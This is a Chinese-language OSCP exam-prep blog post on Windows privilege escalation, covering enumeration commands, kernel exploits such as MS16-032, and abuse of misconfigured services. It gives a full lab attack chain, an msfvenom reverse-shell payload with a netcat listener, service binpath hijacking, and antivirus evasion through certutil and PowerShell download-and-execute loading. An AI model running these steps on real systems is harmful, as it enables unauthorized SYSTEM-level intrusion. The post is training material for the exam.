OSCP百日备考18|Windows提权(上):信息收集+内核漏洞+服务配置错误,从低权用户摸到SYSTEM"

admin 2026-10-18 12:58:10 网络安全文章 来源:ZONE.CI 全球网 0 阅读模式

cover_image

OSCP百日备考18|Windows提权(上):信息收集+内核漏洞+服务配置错误,从低权用户摸到SYSTEM

泷羽Sec-陌离

2026年7月14日 15:45
宁夏

在小说阅读器读本章

去阅读

靶机里最爽的瞬间,是看着命令行弹出 NT AUTHORITY\\SYSTEM


大家好,这里是你们的学长。

上一期(第17期)咱们把 Linux 提权那套\"S根目录权限\"的活儿聊透了——SUID、sudo、cron、NFS,从普通用户干到 root。后台好多宝子私信我:\"学长,Windows 机器在 OSCP 考试里也常碰到,它和 Linux 提权到底是不是两码事?我拿到一个 C:\\Users\\lowuser> 的shell,下一步该往哪捅?\"

这问题问到点子上了。

说句大实话:Windows 提权和 Linux 提权,底层逻辑一模一样——都是\"找到以高权限运行的组件,然后篡改它执行的代码或配置\"。但 Windows 的攻击面比 Linux 肥得多,因为它多了三样 Linux 没有的东西:注册表(Registry)、服务(Service)、令牌(Token)。

这一期我们先打前半场:信息收集、内核漏洞、服务配置错误。后半场(凭据、UAC、令牌魔法)留到第19期,不然篇幅太长你们划不到底。


一、先划生死线:考试能用什么?

OSCP 考试对 Windows 提权工具的态度,和 Linux 一样——手动枚举脚本随便用,自动化漏洞利用工具别碰。

工具 / 手法 考试能用? 说明
WinPEAS ✅ 能用 自动化枚举首选,手动跑不违规,别用带自动利用的模块
PowerUp ✅ 能用 专注服务/注册表配置错误,PowerShell 加载
Seatbelt ✅ 能用 GhostPack 出品,安全向细分枚举,噪声低
PrivescCheck ✅ 能用 AV 友好,报告清晰,考试环境不容易被杀
Mimikatz ✅ 手动 后渗透拿凭据,注意被 AV 拦截,考试允许但需自己绕过
Metasploit (kiwi) ⚠️ 限1台 同 MSF 总规则,全卷只能用 1 个目标
searchsploit + 内核EXP ⚠️ 慎选 内核漏洞利用极易崩机器,考试不推荐首选
自动化提权脚本(如自动打MS17-010的工具) ❌ 禁止 类似 SQLMap 的\"一键利用\"工具,违反规则

❝

学长划重点:OSCP 考试里的 Windows 机器,99% 是配置错误提权,不是内核漏洞。你拿着 EternalBlue 把靶机打蓝屏了,这题直接 0 分,哭都来不及。内核漏洞那是真实内网渗透的活儿,咱们区分开讲。


二、说人话:Windows 提权到底在提什么?

一句话本质:找到一个以 SYSTEM 或 Administrator 身份运行的\"程序/服务/安装包\",然后把它本来要执行的代码,换成你的恶意代码。

Linux 靠的是文件系统权限位(SUID 位、/etc/shadow 可写)。Windows 不玩这套,它玩的是:

  • 服务(Service):很多服务默认以 NT AUTHORITY\\SYSTEM 跑。如果你能改这个服务\"启动哪个 exe\",你就继承了 SYSTEM。
  • 注册表(Registry):Windows 的\"中央配置数据库\"。自启动项、安装策略、凭据,全在里面。改写它 = 控制开机行为。
  • 令牌(Token):Windows 的\"临时通行证\"。某些服务账户自带 SeImpersonatePrivilege,能直接\"冒充\"SYSTEM——这是第19期令牌魔法的核心。

记住一句口诀:Windows 提权 = 找高权组件 + 篡改它的执行内容。下面所有技术都绕不开这十个字。


三、信息收集:别瞎打,先摸家底

我当年第一次打 Windows 靶机,拿到 shell 二话不说就上 whoami,然后愣了半小时——除了知道自己是 lowuser,啥也不会。后来才懂:90% 的提权工作发生在枚举阶段,不是利用阶段。

3.1 手动枚举(必会,考试断网也能用)

:: 系统版本和补丁——决定你有没有老漏洞可打
systeminfo | findstr /B /C:\"OS Name\" /C:\"OS Version\" /C:\"System Type\"
wmic qfe get Caption,Description,HotFixID,InstalledOn

:: 我是谁、有什么特权——SeImpersonate 在这一步就藏不住
whoami
whoami /priv
whoami /groups

:: 本地管理员有哪些人(横向/提权目标)
net localgroup administrators

:: 跑了什么服务、什么进程
tasklist /v
sc query type= all state= all

:: 计划任务——常以 SYSTEM 跑,下期细讲
schtasks /query /fo LIST /v

:: 网络、共享、防火墙
ipconfig /all
netstat -ano
net share
netsh advfirewall firewall show rule name=all

这些命令考试环境断网也能跑,是保底手段。学长建议:拿到 shell 先手动撸一遍上面这些,再上工具。 工具会触发 AV,手动不会。

3.2 自动化工具对比

工具 特点 考试频率 噪声(AV风险)
WinPEAS 全覆盖,红/黄高亮风险项 ⭐⭐⭐⭐⭐ 高(exe 易被杀)
PowerUp 专注服务/注册表配置错误 ⭐⭐⭐⭐ 中(PS 脚本)
Seatbelt 安全向,细分检查(UAC/Defender/凭据) ⭐⭐⭐ 低
JAWS 纯 PowerShell,无 exe 落地 ⭐⭐⭐ 低
PrivescCheck AV 友好,报告最清晰 ⭐⭐⭐⭐ 低
:: WinPEAS(PEASS-ng 维护,winPEASany.exe 是通杀版)
.\\winPEASany.exe quiet

:: PowerUp(PowerSploit 的一部分)
Import-Module .\\PowerUp.ps1
Invoke-AllChecks

:: Seatbelt(GhostPack)
.\\Seatbelt.exe -group=all

:: PrivescCheck(推荐考试用,AV 不怎么理它)
powershell -ExecutionPolicy Bypass -File .\\PrivescCheck.ps1

❝

怎么读 WinPEAS 的输出?盯住红色和黄色的行。它会在 \"Services Information\"、\"Registry\"、\"Credentials\" 几个区块把能打的漏洞标出来。但记住:标红 ≠ 一定能打,一定要手动用 icacls 验证目录是否真可写。


四、内核漏洞:真实内网的大杀器,考试里的\"高危动作\"

先泼盆冷水:下面这些漏洞在真实渗透/内网老机器上依然常见,但OSCP 考试不靠它们。原因就一个——考试机器是出题人精心配好的,故意留了配置错误给你打,你偏要去跑内核 EXP,崩了机器自己承担。

但作为网安人,你得知道它们长啥样:

漏洞 影响版本 考试能用? 实战价值
MS16-032 Win7/8/10、Server 2008/2012 ⚠️ 易崩 老系统有效
MS17-010 (EternalBlue) Win7/Server 2008 R2 及更早 ⚠️ MSF限1台 内网未打补丁老机器
CVE-2019-1388 Win7–Win10(UAC绕过提权) ❌ 非主路径 提权辅助
CVE-2020-0796 (SMBGhost) Win10 1903/1909 ⚠️ 特定版本 特定版本
PrintNightmare (CVE-2021-34527) 全版本(已发补丁) ❌ 已修复 未打补丁内网/域控
:: MS16-032 利用示例(老系统)
Import-Module .\\MS16-032.ps1
Invoke-MS16-032

❝

学长提醒:查内核漏洞别只靠记忆,用工具比对补丁级别:

  • Watson(老牌,C# 写的)
  • wesng(Windows Exploit Suggester - Next Generation,Python)

它们会告诉你\"这块系统缺哪个补丁、对应哪个 EXP\"。但考试里看到结果,优先打配置错误,内核 EXP 放最后当兜底。


五、服务配置错误:OSCP 考试的提权主战场

这是你考试里最常遇到的提权路径,没有之一。三种花样:

5.1 未引用服务路径(Unquoted Service Path)

原理:如果服务的二进制路径带空格又没加引号,Windows 启动时会一级级试:

路径:C:\\Program Files\\My App\\Service\\binary.exe

Windows 会依次尝试:
C:\\Program.exe          ← 如果你能写 C:\\,就在这儿放恶意 exe
C:\\Program Files\\My.exe
C:\\Program Files\\My App\\Service\\binary.exe  ← 真正的程序

只要你能在前面某个目录写文件,就能抢先执行你的恶意程序,而且是以 SYSTEM 身份。

:: 第一步:找带空格且没引号的自动启动服务
wmic service get name,displayname,pathname,startmode | findstr /i \"auto\" | findstr /i /v \"c:\\windows\" | findstr /i /v \"\"\"\"

:: 第二步:确认路径里某个目录你能写(比如 C:\\Program Files\\ 下的子目录)
icacls \"C:\\Program Files\\Vuln App\"

:: 第三步:生成恶意 exe(反向shell)
msfvenom -p windows/x64/shell_reverse_tcp LHOST=192.168.1.10 LPORT=4444 -f exe -o Program.exe

:: 第四步:放到可写目录,重启服务(或重启机器)
copy Program.exe \"C:\\Program Files\\Vuln App\\\"
net stop \"VulnService\" && net start \"VulnService\"

5.2 弱服务权限(Weak Service Permissions)

某些服务允许普通用户改它的配置(SERVICE_CHANGE_CONFIG)。既然服务以 SYSTEM 跑,你把它的启动路径指到你的 payload,就等于 SYSTEM 帮你运行。

:: 用 accesschk(Sysinternals)查哪些服务普通用户能改
accesschk.exe /accepteula -uwcqv \"Authenticated Users\" *
accesschk.exe /accepteula -uwcqv \"Users\" *

:: 如果有 SERVICE_CHANGE_CONFIG 权限,直接改 binpath
sc config VulnService binpath= \"C:\\temp\\revshell.exe\"
sc stop VulnService
sc start VulnService

❝

学长踩过的坑:改完 binpath 记得用 sc qc VulnService 确认改成功了,而且先把原 exe 备份,考试崩了还能还原。

5.3 可写服务二进制 / DLL 劫持

  • 可写二进制:服务 exe 本身你有权限覆盖 → 直接替换。
icacls \"C:\\Path\\To\\service.exe\"   :: 看是否有 (M) 修改权限
copy /Y revshell.exe \"C:\\Path\\To\\service.exe\"
sc stop VulnService && sc start VulnService
  • DLL 劫持:服务加载 DLL 时如果没指定完整路径,Windows 按固定顺序搜索。用 Process Monitor(procmon)过滤 Result = NAME NOT FOUND 且 Path 以 .dll 结尾的加载,找到可写目录里缺失的 DLL,把恶意 DLL 放进去,重启服务即触发。

❝

DLL 劫持是实战里特别阴间的手法——杀软常常不报,因为你是\"合法程序加载了恶意 DLL\"。但考试里出现频率不如前两种,知道原理即可。


六、一条完整的攻击链(考试里真能复现)

学长把上面串成一条线,你们照着在靶机里跑一遍就懂了:

1. 拿到低权 shell:C:\\Users\\lowuser>
   whoami /priv   → 没啥特权,正常

2. 跑 WinPEAS:
   .\\winPEASany.exe quiet
   → 红色提示:某个服务 \"VulnApp\" 路径未引用,且 C:\\Program Files\\VulnApp\\ 可写

3. 手动验证可写性:
   icacls \"C:\\Program Files\\VulnApp\"
   → 确认 Users 组有 (M) 修改权限

4. 生成 payload(注意架构匹配 x64):
   msfvenom -p windows/x64/shell_reverse_tcp LHOST=攻击机IP LPORT=4444 -f exe -o Program.exe

5. 放到可写目录第一级:
   copy Program.exe \"C:\\Program Files\\VulnApp\\\"

6. 攻击机开监听:
   nc -lvnp 4444

7. 重启服务(没权限就重启机器,需要 SeShutdownPrivilege):
   net stop VulnApp && net start VulnApp
   (或 shutdown /r /t 0)

8. 监听收到连接:
   whoami
   → NT AUTHORITY\\SYSTEM   🎉

这条链没有任何内核漏洞、没有任何自动利用工具,纯手工 + 配置错误,正是 OSCP 考试最爱考的节奏。


七、避坑指南(都是学费换来的)

  1. 别一上来就跑内核 EXP。考试机器靠配置错误,跑内核崩了直接 0 分。先枚举、先打\"低垂果实\"。
  2. WinPEAS 标红 ≠ 能打。一定要用 icacls 手动验证目录/文件是否真可写,很多红项是误报。
  3. 替换服务二进制前先备份原文件。考试崩了还能 copy 回去还原,不备份就只能干瞪眼。
  4. \\重启服务没权限?看 whoami /priv 有没有 SeShutdownPrivilege\\。有就直接 shutdown /r /t 0 重启机器来重启服务。
  5. DLL 劫持别瞎猜。用 Process Monitor 确认是 NAME NOT FOUND 的 DLL、且所在目录你真能写,再放恶意 DLL。
  6. 生成 exe 注意架构匹配。目标是 x64 就生成 x64,x86 就 x86,错了不执行还没报错,排查半天。
  7. 杀软拦 exe? 用 certutil -urlcache 或 Powershell IEX (New-Object Net.WebClient).DownloadString() 内存加载,少留文件。
  8. 时间紧张时优先打这三样:AlwaysInstallElevated(下期讲)、未引用服务路径、弱服务权限。它们出现频率最高、利用最稳。

八、下期预告

第19期(下)咱们聊 Windows 提权的\"后半场\"——也是实战里最刺激的部分:

  • 凭据利用:Mimikatz 怎么从内存里抠出管理员明文密码和哈希,Pass-the-Hash 怎么用哈希直接横着走;
  • UAC 绕过:fodhelper、eventvwr 这些\"自动提权\"程序怎么被劫持(但学长先剧透:UAC 绕过只是 medium→high,不是 SYSTEM);
  • 令牌魔法:SeImpersonatePrivilege + JuicyPotato / PrintSpoofer / GodPotato,服务账户秒变 SYSTEM,这是 OSCP 考试的高频题;
  • 其他后门:注册表自启动、计划任务、IFEO 映像劫持。

宝子们先把这期上篇的手动枚举命令敲熟,下期见。

❝

我是学长,一个在靶场里掉了无数头发但系统没崩过的网安老兵。关注我,OSCP 这条路咱们一起走完。Try Harder!

OSCP/OSEP一对一私教直通车:协议保障,直通高级渗透测试专家


OSCP百日备考18|Windows提权(上):信息收集+内核漏洞+服务配置错误,从低权用户摸到SYSTEM" 网络安全文章

OSCP百日备考18|Windows提权(上):信息收集+内核漏洞+服务配置错误,从低权用户摸到SYSTEM"

本文是OSCP备考系列第18期,聚焦Windows提权。核心观点是Windows提权本质与Linux相同,即找到高权限组件并篡改其执行内容,但攻击面更广。文章强调OSCP考试中99%的提权靠服务配置错误而非内核漏洞,并详细介绍了信息收集方法、手动枚举命令、自动化工具对比以及三种服务配置错误利用技术:未引用服务路径、弱服务权限和可写服务二进制/DLL劫持。最后给出了一条完整的攻击链示例,从低权shell到获取SYSTEM权限。
无需手动溯源,跨模块无缝下钻!这块“拼图”如何把1小时排查压缩为1分钟处置?" 网络安全文章

无需手动溯源,跨模块无缝下钻!这块“拼图”如何把1小时排查压缩为1分钟处置?"

本文介绍雷盾网络威胁立体式管控平台网络应用分析模块,其一体化架构通过轻量化零改造部署、全域流量采集与告警驱动自动关联上下文,将传统多系统切换的1小时碎片化排查压缩至1分钟闭环处置。核心价值在于打通流量、威胁与零信任模块,实现从身份核验到行为合规的全程管控,解决政企内网安全设备堆砌与数据孤岛问题。
一文读懂GM/T0031-2025《安全电子签章密码技术规范》" 网络安全文章

一文读懂GM/T0031-2025《安全电子签章密码技术规范》"

GM/T0031-2025《安全电子签章密码技术规范》在GB/T38540-2020基础上进行了重要升级,核心变化包括:电子印章数据结构版本从v4升级至v5,新增timeStamp可选字段为签名值提供可信时间戳;在生成流程中新增制章者证书有效性验证步骤;验证流程细化了证书失效判定逻辑,增加了制章时间有效性和时间戳验证。该规范通过PKI公钥密码技术、数字签名和时间戳机制,确保电子印章和电子签章的真实性、完整性和不可否认性,为电子签名法的实施提供了更完善的技术保障。
deepsec攻防实录|AI黑客如何突破无人机安全边界?" 网络安全文章

deepsec攻防实录|AI黑客如何突破无人机安全边界?"

本文介绍了使用AI安全分析系统deepsec对某主流消费级无人机进行实战化安全测试的过程与结果。deepsec在2小时内识别出多个传统人工审计难以覆盖的漏洞,包括核心系统服务中的堆溢出等内存及逻辑安全问题。借助这些漏洞,攻击者最终实现了对无人机旋翼电机、指示灯、电子围栏等底层功能的完全控制。文章指出,AI自动化攻击正在颠覆传统安全假设,无人机等成熟系统的防御体系面临新的挑战。
评论:0   参与:  0